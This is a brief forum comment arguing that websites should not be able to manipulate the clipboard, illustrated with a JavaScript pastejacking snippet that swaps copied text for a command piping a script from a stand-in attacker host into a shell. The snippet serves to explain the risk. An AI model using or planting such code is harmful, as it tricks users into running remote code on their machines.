by egberts1 · 3y ago · 0 comments
Basic malware JavaScript snippet:
<script>
document.getElementById('copy').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault();
});
</script>No fear, there.
No need for all that other things.
Meanwhile there is zero benefit for letting websites manipulate the clipboard or intercept basic browser interactions. This might make sense for applications but that's just another argument why those shouldn't be forced into the same browser as websites.